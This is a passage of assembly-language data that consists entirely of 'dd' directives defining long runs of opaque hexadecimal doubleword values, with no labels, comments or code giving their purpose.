dd 0C892CA05h, 39F52698h, 0ED709533h, 0B4A3E17h, 0B4373DCEh
dd 4787CD4Dh, 31338D1Fh, 83FD8D1Eh, 6BA002F2h, 0D31DE99Ch
dd 12F40FB8h, 0C2EF2341h, 72ED91ECh, 55B2D504h, 4FA1C43Ch
dd 0FD994D30h, 0A42D546Bh, 85EC5DB7h, 0D21C94F6h, 39C4126h
dd 0B328CB11h, 8A8D823Fh, 34FD35B2h, 0B779BD4Fh, 86F3AB69h
dd 54D5338Ah, 0B407FFFFh, 7CB3B2A3h, 51F616CCh, 9D4CAE0h
dd 377D2F52h, 0D297AD45h, 0FF3D0D94h, 0F79B47Bh, 32E753A4h
dd 0C9022E9Ch, 0CF30C680h, 0B71FDF96h, 7FCC60CFh, 1BEFA816h
dd 0DE839094h, 1EDEF599h, 0F4EABC63h, 0B18A4884h, 0D22F99E0h
dd 53ADDBF7h, 39563281h, 0CBADDB6Fh, 95083663h, 13E224A4h
dd 6BB6D58Eh, 5F5FE6E2h, 0A69DC433h, 70FB968h, 8AA120h
dd 98F319EFh, 0B5D455D1h, 0CA4E4147h, 0C3CFD019h, 90A1D739h
dd 18DCF353h, 6B858C34h, 0EA7550DCh, 7E52295Ch, 0B95CD4BAh
dd 48FC9D1Dh, 0ED15CEF2h, 997A6C7Ah, 5E7AE38Ah, 8B605DF4h
dd 2DB665AEh, 4BA0608Bh, 5351E3A0h, 1424E443h, 772EC641h
dd 6709CC10h, 413936A8h, 0A877720Bh, 0EEDEB51Ah, 0E7756165h
dd 0B2B92C72h, 1F1DEA03h, 0FA4A0633h, 8CAA9268h, 9762899Ch
dd 0B61CE17Ch, 21081E5Ch, 387A064Fh, 84D7265Dh, 2884AC15h
dd 9B957351h, 307508C8h, 0C73EEC77h, 0AAB06EE5h, 478570A5h
dd 537404D0h, 5AB7C16Ah, 67D1EE47h, 0F49FAC58h, 0C34A5B2Ch
dd 0F864990Fh, 9612654Ah, 1EBF3863h, 902CB8DAh, 0D8F6BDA6h
dd 31CA98B8h, 0A5AE2F82h, 75E0291Ah, 531B8282h, 7E29520Dh
dd 385B853Bh, 5991E024h, 826CD54Ch, 0A9427675h, 46706240h
dd 0C439030Bh, 0EEF64858h, 0B32FFF89h, 619FC2CEh, 0EEFDC668h
dd 0F88F3B77h, 1CA8F3E8h, 8A8C48EBh, 7E6C66BDh, 6F72506h
dd 220C7242h, 1552D1E8h, 3F9F2F9Eh, 5F404FDAh, 4451553Fh
dd 33FF7561h, 3D88AA60h, 0D698BC8Fh, 0EC37912Dh, 3B3B9BB6h
dd 6FBE9291h, 91BF43D6h, 0AB577B63h, 909E9AADh, 0FB56AEC6h
dd 0A2283A0Fh, 5390D26Dh, 0ECEAC71Bh, 5A7BCB84h, 0F8B1B8FCh
dd 4AD4C2D1h, 0B9DA6B5Bh, 8C0A4A19h, 0D5814FCEh, 0A4FE5109h
dd 0C0D39FD2h, 1C936A33h, 9445FF14h, 0CECBD3F2h, 3CE976F8h
dd 5B382548h, 0B37094F1h, 908AFEC0h, 29921713h, 7F81D686h
dd 0F2EB231Bh, 0D414C064h, 5CB9FA3Dh, 13BBCD64h, 0C96C74EDh
dd 5D498397h, 3704775Ah, 0DCE3867h, 0FC417EA7h, 0C3110FF7h
dd 0D81A2BCFh, 0BC98F765h, 0BCDEBC1Ah, 0F36337B8h, 0CCB6218Fh
dd 5E867FA1h, 0F69AA491h, 93C5FF17h, 0F1CCAF90h, 0C2FD0744h
dd 6637D881h, 503F9971h, 4CD6B37Ah, 0A3336A45h, 0DB4F956h
dd 4AE04E86h, 0FA7EC3A5h, 797AC216h, 0AFE72138h, 8F10380Dh
dd 0A675AE71h, 3A657428h, 0A2C0DF8h, 3FEE40C5h, 321A8D5Bh
dd 13DD3A4Fh, 7A8B7CCCh, 0F8B5213h, 19308DE1h, 73A9CB5Eh
dd 0D0095C3Ch, 0AABD09F6h, 816455F8h, 773EDCAFh, 984C9275h
dd 0F968FF77h, 0FF1EFB2h, 0A3048C3Bh, 2E155E11h, 0F1E25D68h
dd 8C7BFBC5h, 3753944h, 0C08E2EDh, 0FC5CA23Ch, 77944430h
dd 9E55BDCFh, 0CC1AD588h, 0E60F166h, 53D02DB4h, 0E5BB30DEh
dd 0F978EF27h, 2EDD138Eh, 0D61C2EBAh, 99CBA747h, 9D2642A7h
dd 0B00C3FC6h, 72182186h, 0D9A5104Bh, 0D449478h, 0A2D37E20h
dd 0DEB6120h, 58956024h, 0F0334676h, 0C4F746CFh, 0C5C0A40Ch
dd 2451BE19h, 0A1D55858h, 29B30813h, 472070Ch, 0BC372C64h
dd 0C16914FCh, 841F90A6h
dd 83053303h, 9103C525h, 6A9CDC0Bh, 0AB08C457h, 67EB5DD6h
dd 5931E763h, 0DCD26264h, 6AE56783h, 0A4EBFF3Fh, 85043B16h
dd 628E8555h, 50B9EA7Fh, 8737B55Fh, 0A38A6D77h, 8DB1A297h
dd 0CD73C3E7h, 20D57B4Bh, 529035EBh, 606BC485h, 0E4E49749h
dd 0CC3BDDFAh, 0E68DE70h, 12E80C30h, 12EE5679h, 50B03C00h
dd 8E7C0FDDh, 5CC066EAh, 20793E2Dh, 1464E383h, 7F78BA68h
dd 0A50E6DBEh, 6724498Bh, 9C155411h, 7C3C227h, 53AE70B7h
dd 7351029h, 1A686565h, 6D4CE58Eh, 65693778h, 3A1A019Eh
dd 6E6FB5D8h, 0AC05EEBFh, 0E8BAB03Fh, 0EA017221h, 98E3078h
dd 3C603B38h, 0A7CB3C6Dh, 0A6A7B9F9h, 0A70B9D90h, 111C9D7Eh
dd 1F29670Fh, 4E16B21Fh, 60645E18h, 0C537AFDh, 0CF176966h
dd 1FB4BC70h, 47BDFF28h, 78C3E0E0h, 7C3AE9D4h, 0E034B05Fh
dd 1C56A6B6h, 80395CC3h, 1C9B63B7h, 0AF60B79Dh, 647A0ADCh
dd 0B867CD2Ch, 82E748BBh, 0CB778380h, 4EC9F6AAh, 319E6DA3h
dd 599C12h, 0B788E9D8h, 0ACFB5D8Bh, 71F4A0D7h, 5F236331h
dd 4FB89403h, 4ABD1FEFh, 108C7064h, 19565550h, 2A68735Eh
dd 78C24A35h, 0DA329C13h, 0C0405DBDh, 948D3DB5h, 86212EC6h
dd 1FE2F2B2h, 0D8511F7Fh, 0F4D4CE38h, 2EB08DDFh, 59195680h
dd 69EF62F5h, 76030E14h, 2A5B4074h, 7680DC45h, 15999E69h
dd 0E866EE0Ah, 0F29BE3C6h, 0E088E3D3h, 0A39FBC27h, 0D32250D3h
dd 9122B96Dh, 3E24C176h, 0A3375E6Ch, 2237796h, 0A8B96856h
dd 990577A0h, 6310F31Ch, 8B35A73Ah, 0F39BEF3Ch, 9D19B92Eh
dd 9DB5884Eh, 4F26201Ch, 10BFF262h, 0DDA73A26h, 4A6DF306h
dd 4958EBB8h, 68B80567h, 4A7D9D5Ah, 6FEBF7FCh, 0F3385B32h
dd 443EB8D6h, 4242D066h, 8AC0BF80h, 80BAB785h, 0E91314D3h
dd 35F0229Fh, 70250B2h, 0C63AE6E1h, 9C7247h, 0B4FCB111h
dd 42BDB9A1h, 603D16B9h, 0BD32799Eh, 0EDF13C9Dh, 15B9686Eh
dd 41EC57FDh, 642BCFA6h, 0CE5C411Fh, 0EAC8D3B9h, 0C0D5CB5Dh
dd 86D4885Dh, 5DD66EE0h, 2FFD1375h, 31D3748Ch, 0C1C935DAh
dd 3417C7AFh, 0F57DEEACh, 962DA4F3h, 0F3F31026h, 617826DCh
dd 0F3C279CCh, 924A2EF2h, 23C4F1DEh, 7FFD45FAh, 18B7A29Dh
dd 9475E42Ah, 0B5352C65h, 0D0F7F353h, 0D74B7B83h, 6D0C27BEh
dd 0CB0CFFh, 0B5BA921Bh, 70BBCC87h, 0E0DB6512h, 34E38E67h
dd 84B9EC9h, 0B637D3EFh, 1CDDBDEAh, 0CB5A11D3h, 0B7F4DAA1h
dd 0AE196E2Fh, 0FE4266FBh, 7E28DEE4h, 0DD00E02Ch, 221B1892h
dd 52AAF191h, 590541B9h, 0CA45D95Ah, 30276C96h, 21931E34h
dd 0A0C9D009h, 0FD3EAB00h, 0A6910964h, 0F0E3D961h, 8884853Ch
dd 0C07A1DA7h, 0CE698EF0h, 8C4BA956h, 0C587B682h, 0C9A9C471h
dd 48D64744h, 0C49770C0h, 3FA21441h, 69D8FB72h, 0D8E9C780h
dd 470F7EC0h, 0C231E1B8h, 766CF1C8h, 0F82DE6B1h, 0B3B27E31h
dd 78536FC4h, 4E7ABB22h, 6372E9C4h, 743C5A1Ah, 335222C0h
dd 0B0405806h, 25FAE3E8h, 12BE5CDFh, 9FECD199h, 2C170726h
dd 0C81D18D6h, 3D348E9Ch, 0C9DECA0Dh, 943E03E0h, 457DD182h
dd 0DBB623D1h, 1116FC74h, 0C824D29Fh, 6A9001CBh, 0C88D3A45h
dd 608FC22Bh, 17E409BEh, 59833522h, 0C99A455h, 0A6FE5414h
dd 0ED5447E2h, 546102A6h, 0E88CA887h, 0A67DE97Ch, 800EC4F4h
dd 3CEE11BBh, 35A3CE20h, 0CA37D075h, 79ACD92Dh, 0B6147AD9h
dd 0EAA936F5h, 8C3E5FCEh, 9755EB6Bh, 2E39B1DDh, 4490A6FCh
dd 0E41BAC99h, 1EF8D3C9h, 2A27F793h, 0B48B0E33h, 0E0232898h
dd 7418A6DCh, 3F384EFAh, 2A059EDAh, 0F885FBF6h, 0A35A7A2Fh
dd 52B86E88h, 0CC4C390Ch, 33C46BCBh, 9EBA7810h, 0C16B08A6h
dd 72C9066Bh, 0C8567EF6h, 0A6B6DD69h, 0BC693933h, 567FEC19h
dd 76302905h, 0CEAB4A2h, 0CBEA0F1Ch, 0F3337D61h, 0CAC6602Fh
dd 3E458076h, 0B59368ABh, 0AF089A70h, 66C55461h, 46E9D052h
dd 39E9C129h, 3586030Ch, 11A47C9Ch, 0A251C620h, 0EDD051F1h
dd 5266AF5Ch, 2E4EA6Ch, 4C5C39AFh, 0C9E0C6D8h, 0C8B77382h
dd 68C342B5h, 0A4CBCEAFh, 0CA235B31h, 4573E0F7h, 37D9F948h
dd 0FB9231Dh, 9BFAD393h, 0A5FC87EFh, 0F265D542h, 4483DF73h
dd 0D78B0FE4h, 172A2A9Ah, 4619F8B6h, 46066A6h, 5B6D0C45h
dd 1700CEB5h, 0DD86002Eh, 0C09F0762h, 0DD6F3FCh, 0B3F45ACEh
dd 0BEF3B903h, 54ADB0AFh, 6D8AADDFh, 74229553h, 6172DA9Bh
dd 2350E987h, 7F9F8614h, 0F8711A06h, 0F465487h, 0B6D94737h
dd 2D6C1E35h, 0B5EE3AFFh, 0EB661C6Fh, 9BA09671h, 0E89235B5h
dd 82C0FEC4h, 34C047E4h, 0A6CF62F4h, 0B4FE2983h, 0C059AFD2h
dd 0D577C97Ch, 965FF2FEh, 0F7759397h, 95896B2Ch, 9E0B82AAh
dd 71CB9A9Ch, 92B9B958h, 78C26090h, 3302B249h, 843DBF44h
dd 69214349h, 33D5853h, 0C0B6275Ch, 6AD76C0Eh, 0DD213C3Ch
dd 87C963EEh, 5B8E91F6h, 0E6328E18h, 15A947Ah, 92787F9Fh
dd 8F54B89Fh, 105CF4BBh, 1D626E65h, 2D6CEB67h, 29FE451Ch
dd 34863687h, 5DF42C44h, 33F10B97h, 0D816CDBBh, 207F2CE5h
dd 0A8FFB8B9h, 4A6382F4h, 0EF82EB4Fh, 0B82321D9h, 0B903E362h
dd 0C43755E8h, 22F95743h, 12DA23Ah, 0FEA28757h, 0C03F896Eh
dd 5C7A189Ah, 7319EAAh, 89017B09h, 375F0C16h, 0F586D78Bh
dd 465E2146h, 8583606Bh, 0DD54604Ch, 446D430Ah, 0F79625ECh
dd 0A44B01C1h, 0AC8E6430h, 56FC0270h, 6F30ACDAh, 6D0123F7h
dd 196232C5h, 56E744E9h, 0F15D1EB0h, 460C3234h, 7971F3FCh
dd 0AB78EFD2h, 4A21A04Ah, 77AE357Ah, 3BE9BBA3h, 0A6A712ADh
dd 0C0E46F7Fh, 0E542C29Fh, 656C87B4h, 64CF0854h, 69E79B24h
dd 0F91FFE19h, 89AF81ADh, 6C945656h, 0E279E92Ah, 6DF706E4h
dd 5A2A1CBCh, 0E8806C1Eh, 0AD5E3C92h, 5EC08D7h, 96F3E09h
dd 0E30D8F38h, 9C1DFE78h, 6D66AD97h, 20AF3003h, 0D3EA6127h
dd 58FD0DA8h, 4ED1B807h, 38F80F69h, 28F18D49h, 3D683155h
dd 76188F9Fh, 7AA4C4D0h, 0C35B7F16h, 7841192Ch, 54563659h
dd 9870997Dh, 2886A5DCh, 6ECE210Dh, 8F72188Fh, 0CD4D1FFEh
dd 0B1792A21h, 764F7FA8h, 4A24C35Eh, 0F05BB2C0h, 4861F0B6h
dd 5A104B00h, 48DE2CF8h, 96D4B78Eh, 0A26A81Bh, 804109C8h
dd 49473954h, 6B1873F3h, 0C229B546h, 3DDA33ECh, 77876364h
dd 2ADE75A9h, 573BC86Fh, 0B5872306h, 0CB035496h, 0DD36E126h
dd 0AC9F298Ch, 1C266AC2h, 4F0A53h, 99A00C17h, 7ACB8800h
dd 4C454DA1h, 49C6B46Bh, 55DD7B03h, 41DCB521h, 9729020Eh
dd 66E99157h, 9F134121h, 4A57E8DCh, 0C7BFB2C9h, 44DB3A28h
dd 0C407EB2Eh, 9D997F47h, 0F14F065Ah, 63F9F697h, 0A2741DE4h
dd 5E99259Ah, 6C1166DFh, 1420E541h, 0F35ED103h, 2CFFDB9Fh
dd 2F010A90h, 9ADC622Fh, 6912C8DEh, 4B0EFAF3h, 0C85BC65Fh
dd 0D1A15096h, 9FA70B92h, 0AA169C31h, 0FE0B8D25h, 0DA41A280h
dd 6BC0BFC2h, 3052E956h, 90D414F4h, 90B65267h, 785E4805h
dd 6C49ACDBh, 751EB168h, 0D879ADC5h, 7493B178h, 0E106CF0Fh
dd 450EBD67h, 4B033F82h, 0C68D0002h, 0B6DB73ECh, 84B5E6AEh
dd 7A1B85D6h, 0DE3FFFBFh, 407859D0h, 0BA92E4A0h, 0A108A1CEh
dd 0CB30BB60h, 52DA0349h, 59715AB3h, 8491D4EDh, 0B4F1E2CAh
dd 6D2DB3Bh, 4E3C65CEh, 0C2F0C96Ch, 1695AB2Dh, 9BBC2FF3h
dd 5D8F2FA4h, 6CC7D55Bh, 7D487960h, 8673D65Fh, 706A6694h
dd 27E63DBCh, 0B8EA764Eh
dd 0CD24886Fh, 0EA5752A2h, 0CE993548h, 2CD9B8A6h, 0B39D0C40h
dd 0AB5C6E0Dh, 1415397h, 844EE62Dh, 3F997AEEh, 280CC012h
dd 4C342F34h, 6FA5AA06h, 61C10497h, 0EFB0CC53h, 2329B815h
dd 58097019h, 84B52CF1h, 76D46E3Eh, 0FE2633B7h, 0E0C7BE67h
dd 23B3EE0Eh, 0C2213E7Ch, 0A5D67B9Eh, 0B6413504h, 0FF698F84h
dd 24C741DFh, 80DCBB7Dh, 25A2962Ah, 0D0F41D47h, 2BE0295Bh
dd 58E4B282h, 3404FFCAh, 0FCFCE1Eh, 1D82D95Eh, 7B16D791h
dd 0B00697B6h, 0F39B3080h, 0AC015F0Ah, 104AE8B0h, 0EDE0473Bh
dd 0E00569B1h, 579794C0h, 27956FA6h, 9D519189h, 72A26C35h
dd 3762FC58h, 0CABBFEAh, 382B8507h, 0F2E483A5h, 9503A108h
dd 4D3DEA29h, 1B412265h, 4BD2A01Eh, 0B35654C1h, 2E40C937h
dd 69BF7BCh, 15DE6515h, 4B4A98D7h, 6A19F511h, 0D52AD178h
dd 8CD586D6h, 55684A01h, 0FF603776h, 31E98A89h, 3C695B38h
dd 6DE05B0Fh, 1CA8BA74h, 5639CEDCh, 0A10F0DF0h, 5E8F7F74h
dd 0A1D28BA8h, 785F6880h, 104039Ch, 6E0A9F6Dh, 640C768h
dd 8261BDB4h, 0FE73D813h, 7B455515h, 0D74781ABh, 72B2BBB3h
dd 6365FC30h, 3F15E9F3h, 6F61D9E9h, 9FC3694Dh, 70D1E666h
dd 0DC420F3Fh, 71C5B161h, 0F5A06943h, 0E605817Ah, 7260FF47h
dd 0B00683C2h, 3E16289Bh, 18841723h, 52515F0Eh, 1F740729h
dd 0E9C62CD9h, 5EFF3663h, 0DA102A2Dh, 0A68B5A3Dh, 0A2338E05h
dd 0C920927h, 729E049Fh, 0B98EFB27h, 0A3969816h, 0FC1F76F5h
dd 8E88ED69h, 43C95777h, 0EF44FCDEh, 84C05CAAh, 5F8A1391h
dd 0DCC5B95Ch, 64904228h, 5B1861E9h, 3D3CC8DCh, 8ED0D775h
dd 85A91DAAh, 4DD399CFh, 72F9C54Ah, 684D899Dh, 71CBD5A5h
dd 99FB1AD9h, 0D3B6E7B0h, 34EA4E3h, 3ECCC6EEh, 891E4A1Ch
dd 0D9BCCD34h, 0A7BC47F1h, 455F6182h, 8F1EC2C3h, 0FEF1F108h
dd 2E096636h, 0E8EED7FBh, 3EDA6CA6h, 801CFEF3h, 9FD70B95h
dd 731E733Fh, 0EB7AEC40h, 7C11C454h, 37E36338h, 6011FD6Fh
dd 59C33869h, 0A317A367h, 62CDFC8Ah, 0E5AA9341h, 0E89D39C1h
dd 78CC9ABCh, 3A27281Dh, 93C542A2h, 0CF579D71h, 399A3BC1h
dd 0A2DA21B4h, 6788E7D9h, 53347574h, 0C1C277EAh, 30D52F1Bh
dd 0C1B88224h, 2F105415h, 0E668C43Fh, 99323867h, 3B68B941h
dd 91EC5E30h, 66FC461Fh, 0A9F15103h, 0F5A5B356h, 42379CFFh
dd 0CA4DB986h, 64B5B73Ah, 3478ACD3h, 90EA4450h, 0B4612CBBh
dd 7AEDF85Eh, 8EC94093h, 0CFB4D567h, 14EA3803h, 0D4F04BEh
dd 9FD58082h, 39985175h, 0C260C1F0h, 0B26F97A6h, 57008324h
dd 8A149D65h, 7EF4A3F4h, 0A051EA9h, 26D86D7Ch, 898701CBh
dd 25BEAAF4h, 0AA3FE43h, 23C27802h, 0F5399E92h, 1326639Fh
dd 0EAC157E2h, 0C0BAB9C6h, 37034985h, 5B450157h, 4D76B923h
dd 0C1A74EB3h, 0B114D139h, 4B8BA092h, 0E90CD020h, 2F441371h
dd 3D848C80h, 7BBD5FC9h, 9803B946h, 95EFCFCh, 0F36708DDh
dd 0E13125BEh, 74262CBDh, 39E8FCEBh, 0ADAF1881h, 0A80A09D6h
dd 4411235Eh, 9D31D22Eh, 0CBAAEAF9h, 7E3E3423h, 25518AF0h
dd 929EEED2h, 95332539h, 331F3EB7h, 0AA5DB24Bh, 3169092Ah
dd 0C1A68570h, 4A563B97h, 0AD884887h, 0EDA20D5Dh, 79250778h
dd 14ACA865h, 0D6850780h, 4B8700DFh, 8AA1332Fh, 0CA23B22Ch
dd 0A298628Eh, 0D8B0ADB2h, 0EC2251ADh, 87781CECh, 507BFE69h
dd 249568B6h, 5D67A3BAh, 587BED48h, 9064CC01h, 0E1FE2513h
dd 83665032h, 0D5311E7Eh, 0FB392D7Dh, 0E1DBE937h, 5580AA09h
dd 0BCA87BB6h, 363CF21Ah, 1DC1E1F3h, 0E9E626BBh, 5907D822h
dd 27EB5673h, 0AB07C404h, 35A51038h, 4860FC82h, 9A127B41h
dd 3044863Eh, 7C258B50h, 0FDB79E4Bh, 0F7707E0Fh, 6F35272Dh
dd 3449B602h, 817F2FAFh, 0A5152D4h, 278A4F9Dh, 2B7202Bh
dd 0A57BCDC6h, 53993572h, 4CB34A84h, 1074DCDCh, 3DB60150h
dd 138EA507h, 15238506h, 20FAAF5Ch, 30322E97h, 891E505Dh
dd 7641FAAh, 471D17D8h, 71BA1AAAh, 0FC91FE41h, 556DF3ADh
dd 712E4F6Ah, 0C8897904h, 156C86BFh, 3E58C485h, 5CA9ADB2h
dd 18F5E705h, 98E5A329h, 0F0E7817h, 7DB82418h, 6EA9CD4Dh
dd 5371CE82h, 2C0B4410h, 0DA008AACh, 9E7ADAC0h, 0B22F83F2h
dd 554A1822h, 0F0C9328h, 242E261h, 0FF0DF657h, 5D3243A7h
dd 9ADB003Ah, 0EFCBC7BBh, 5A4689E6h, 334069C8h, 757074F2h
dd 4FF85E35h, 0B802B208h, 151AEE9Ch, 59BDF459h, 0F851CC86h
dd 0F87A6971h, 0D42B1C01h, 32577019h, 9FA30926h, 0BD215E82h
dd 0C0D3503Ch, 1B3BD89Ah, 361E9B21h, 0E8DB6A8Dh, 0F5E48BEh
dd 0B4EEE63Bh, 9B62F656h, 20F5203Ch, 0EDD84178h, 0AA59A2C5h
dd 536A1586h, 2994A4D4h, 6CA9AB8Ah, 53C80857h, 21AFB865h
dd 3A3815F9h, 4D635A6Ah, 3D80D59Ch, 59EC2BB4h, 70F8A982h
dd 8AC4EDBCh, 0E269684Dh, 67B6C917h, 0B74FE7E6h, 6D8408F2h
dd 18A873FEh, 25E41F17h, 2CFAF0E6h, 0E73B9DF8h, 3ADD028Ah
dd 0C15C118Eh, 0A0B3FE45h, 69AAAFAh, 0DE7E654Eh, 0FBD877F1h
dd 60C990F1h, 47CAA9D5h, 575D8C7Bh, 0B0DA79C2h, 0B210B3E9h
dd 92BD9151h, 95C09DC8h, 84CBC7E8h, 0E34815FCh, 73912080h
dd 0AA937BD3h, 0DE1A0D41h, 0F66F8A4h, 635FDCAEh, 599F8160h
dd 93D27BABh, 0DFBA7F54h, 8A52C725h, 1FDC8C97h, 0EAB47CF4h
dd 4BC66588h, 591818E5h, 0A4D3E2FCh, 0FA7E85C0h, 0BEEC4FD4h
dd 0D5CFB624h, 8A98F201h, 59731CCEh, 3327A136h, 0CA8627E1h
dd 876073F3h, 7B960B33h, 6AA69F82h, 691E6B9Bh, 525F3164h
dd 5907E839h, 0C0145802h, 68566698h, 611C5F93h, 0EFAAC925h
dd 0C6BE5666h, 0E1053AEFh, 41ADAB54h, 4AD0A2D0h, 1B6B4367h
dd 46C36143h, 0B1C305B5h, 723447D9h, 0EAB932EDh, 1AD820F0h
dd 272C5B8h, 4AF0F7C5h, 4EF29D77h, 2444A943h, 49DAFEE9h
dd 44A8B723h, 7A23B364h, 6A192C8Eh, 855F3234h, 0C9176DEh
dd 0FCC43289h, 0BA46BD85h, 0C8666533h, 0AF15D2Ah, 8859D382h
dd 94EBF56h, 0FB3EBF25h, 5FE8002h, 14B53001h, 38EF87DEh
dd 1516098Ch, 35EDAAA8h, 65E0E8A3h, 0FC407FAFh, 0D27E357Dh
dd 0F42CC745h, 0A576DFF1h, 4749B4AFh, 0EE8042B5h, 0ED20C4E2h
dd 7CFDFAA4h, 9F18C8B1h, 9BC6D586h, 0BC86EB2h, 0B7BBB6DEh
dd 0E7EC1A34h, 4B3F60D4h, 0A9F1BB47h, 79E0658Eh, 118FCDFAh
dd 94268028h, 0AFD055ABh, 769464E6h, 7A0CB8ECh, 0D944CACEh
dd 4BD5102Eh, 1F6E024Fh, 9E501D17h, 193754ECh, 0FDA5865Ch
dd 0CF6637EFh, 9379D0D3h, 6F230AEEh, 0CAC2E205h, 0A517E197h
dd 0E47AD59Bh, 0A22AC9D6h, 5EB56BFBh, 40A515A6h, 0A7032A5Fh
dd 27BFD7FFh, 0B8F1B8CBh, 0A8D8D625h, 8D62B8A8h, 2D2A67B5h
dd 2F82789Ch, 4098BF6Bh, 2BF70DE8h, 0CF57965Ch, 580B728Eh
dd 5468DC71h, 0FDF1A289h, 0AF48B861h, 0AB283E6Bh, 9DE96451h
dd 867E240Dh, 0BB2FA735h, 831C9190h, 54E59A76h, 3243211Fh
dd 0C5BE3867h, 0A3F60DF1h, 0AFBD3C3Dh, 51D77983h, 0D83162D0h
dd 0F8B500FEh, 6BB839FDh, 1E91A4F7h, 496A62Ch, 4330D4B7h
dd 0C656C4E7h, 5BE15A4Eh, 83769632h, 4AD59C41h, 0E974F2h
dd 600F8E93h, 0C0AC9177h, 3BDB32FFh, 3D6DAFC3h, 826C31CAh
dd 0DA3CB319h, 7BA325E7h, 0A5C56722h, 8DE55126h, 3B981FC9h
dd 4EF350EEh, 33A4E4B7h, 0AF35294Bh, 2C876C28h, 0F5FA4EE7h
dd 1BB102D0h, 37B69EBh
dd 0CB52C900h, 9B37E9E4h, 386841E3h, 47D6C154h, 0E4F303E3h
dd 2D0A8905h, 1A7CB5DDh, 283A6B81h, 4F88F21Eh, 4E44A8CDh
dd 9FABD88Fh, 0D8F47320h, 9033D972h, 0FD02B88h, 0EB8C7843h
dd 2AE578E0h, 0A9737C4Fh, 75326AC1h, 7ECE4DB1h, 52DA4175h
dd 26CF012h, 0E6D4E02Ch, 0E9BEF3A4h, 0DE8CE0AFh, 0D4E51DA5h
dd 0A7BC71E8h, 74776332h, 0F7FC8679h, 2756F9C8h, 0B85662CBh
dd 7339E529h, 3BF3B01Dh, 6FB55145h, 0F72F50DEh, 0DCC3C827h
dd 5ACD52B2h, 0E5E878E6h, 0EF380926h, 40F88307h, 40A3B92Dh
dd 989F61ECh, 0D76B4B22h, 60A075E5h, 0FAEBD72Fh, 9A5542C0h
dd 723E3920h, 0A7BE070Bh, 0BF4CF2FCh, 68CA73E6h, 0AEDF3CB0h
dd 0F0232211h, 8814ADE8h, 0EE06AF5Fh, 0B2EEC6E6h, 95DF8EE7h
dd 0F7E433D9h, 0B6EA3BAAh, 7F2536F8h, 74AE509Ch, 1C910B9Ah
dd 0AA6FDF33h, 92059295h, 56FE2720h, 79617247h, 1F05A163h
dd 3841B651h, 0C1201DE0h, 29005728h, 99B0ACD6h, 0A0B7FAC5h
dd 0B6A7A76Ch, 1706ACFBh, 0E71E06CEh, 77528737h, 0EC583C3Ch
dd 5E32C1ADh, 0A6D9C39Ah, 11F351B7h, 860A68B1h, 0EB72A125h
dd 0D8EA067Eh, 0ECD0184Dh, 0CC208F91h, 13ABB739h, 9A0612C3h
dd 0E0F31E7Ah, 486BE6CCh, 0EF8FB73Eh, 0B394BB86h, 3A108AC4h
dd 560FB53Dh, 0D316866Fh, 0B77C0511h, 8CA7AD4Ch, 0F9954DFEh
dd 13FAE19Bh, 0CA502B79h, 843D33A0h, 0E29833E2h, 111A603Dh
dd 794A85D2h, 9848492Dh, 59748E50h, 53C31D86h, 3DAE60A2h
dd 3C5CC346h, 7FFF0389h, 0A7F4379Dh, 3AEA918Eh, 29BDE150h
dd 7EAAD98Bh, 0E7998F1Ch, 0F043E2E3h, 758693C6h, 726BEA73h
dd 577931Bh, 0AE9D3D57h, 0AFBF5D91h, 0A66E4D4Bh, 60B6BF93h
dd 0E124B0B5h, 50E53ACDh, 0DF013E2Ah, 0F2385C61h, 117B50B4h
dd 8158178Bh, 0C8E07636h, 0E69C47FCh, 7DE38893h, 1E257607h
dd 0C06619E3h, 0B8659BD9h, 898A6ECFh, 0E6903605h, 0E120D376h
dd 63A0425Eh, 0F0D3201Bh, 81EEF14Bh, 754807C2h, 0C17FD7DDh
dd 49D005AFh, 344CF7EDh, 5F36ECAEh, 8C66945Ch, 0CA3D19AAh
dd 0A492984Eh, 4915EBD3h, 0A3927204h, 0B6FCC513h, 871FF515h
dd 982B78A5h, 362D5934h, 5A65E4CCh, 3842D634h, 44BF3622h
dd 3DAE46ACh, 0F44C7678h, 3B77E3E8h, 3F8EC3D0h, 5620266Ah
dd 0E9057856h, 2C3FEDCDh, 2504AECCh, 8DB1D437h, 54661F6Fh
dd 0DF3C96AAh, 0B47C74E2h, 0EFD47E29h, 75D9DD96h, 9B1762A0h
dd 516C2875h, 7DCBD696h, 5647E986h, 0D7852B17h, 3EBD054Bh
dd 8910A2F4h, 8D6ED90Ch, 0B7A51902h, 7A488511h, 7B470F57h
dd 76F1D04Dh, 0A12C44EBh, 629E917Ch, 0BAD2C533h, 6435640Bh
dd 661F3A43h, 0B6CF08C3h, 4782E97h, 208DED6Fh, 0A2562609h
dd 0BABC8415h, 34E5F54Bh, 73E00DE9h, 310AFA7Ch, 0EE8FED2Eh
dd 0BE71B269h, 0EF430FA8h, 0AA4B822Ch, 0C80F3019h, 43D74F0Eh
dd 3C4F3C85h, 2FA47172h, 0A2348F5Fh, 7BA6A030h, 0EBA7098Fh
dd 0A55C172Dh, 48056B1Fh, 198878C1h, 29987EF2h, 0CDD58C27h
dd 2436A7B4h, 0C257A34Dh, 70A3C243h, 0E27E38D5h, 0EE447E42h
dd 87B77F04h, 95F50FB1h, 0EA823E0Bh, 1D1D860Eh, 0AC263B7Bh
dd 1529B497h, 2653142Ah, 44F408CFh, 7BD52125h, 1811A610h
dd 29FE0ABEh, 0AD72B4D2h, 4E50F5CBh, 5BE0DBD7h, 0E54A364Ah
dd 8A0E9DE7h, 0A054EF57h, 0CDD1DD47h, 0C38CE69Bh, 4E485876h
dd 8C8D7CC1h, 0A426A839h, 63AE4A29h, 66FA7C86h, 248B8D8Dh
dd 0E09DC322h, 0CFEC20C3h, 0A4F01348h, 87A880AEh, 502F30FAh
dd 3A203C56h, 0E2838Ah, 0FBCD0AF5h, 860B5F5Bh, 2FC3A0B6h
dd 45803C78h, 0F8389337h, 8A11B126h, 29674D4Ah, 0D3AC2F15h
dd 0ECFF259Dh, 0EB6BE512h, 0F54EFC4Ch, 23F9E1F2h, 6ACDEB7Bh
dd 0F34BEEB2h, 0ECDCA9EEh, 0C2A0AA6Eh, 0B7F0AED9h, 0DFCBC4BDh
dd 361DCF0Bh, 5AA1F168h, 9137D39Fh, 0C9CC7C2h, 3D0334E0h
dd 1D38E06Ah, 9C9E8CC5h, 0C6E0C186h, 0AD480C09h, 4984BC4Bh
dd 7107A25Eh, 0AD70DAEFh, 0ABBDF18Fh, 8E59CB2h, 62A35CD3h
dd 9BE643A8h, 0FFC8CA1Fh, 0BDEA9B9Ch, 158EE043h, 0D6212DE6h
dd 4485DA83h, 2D55F990h, 7A7BED1Fh, 0D1E34577h, 68A0ED78h
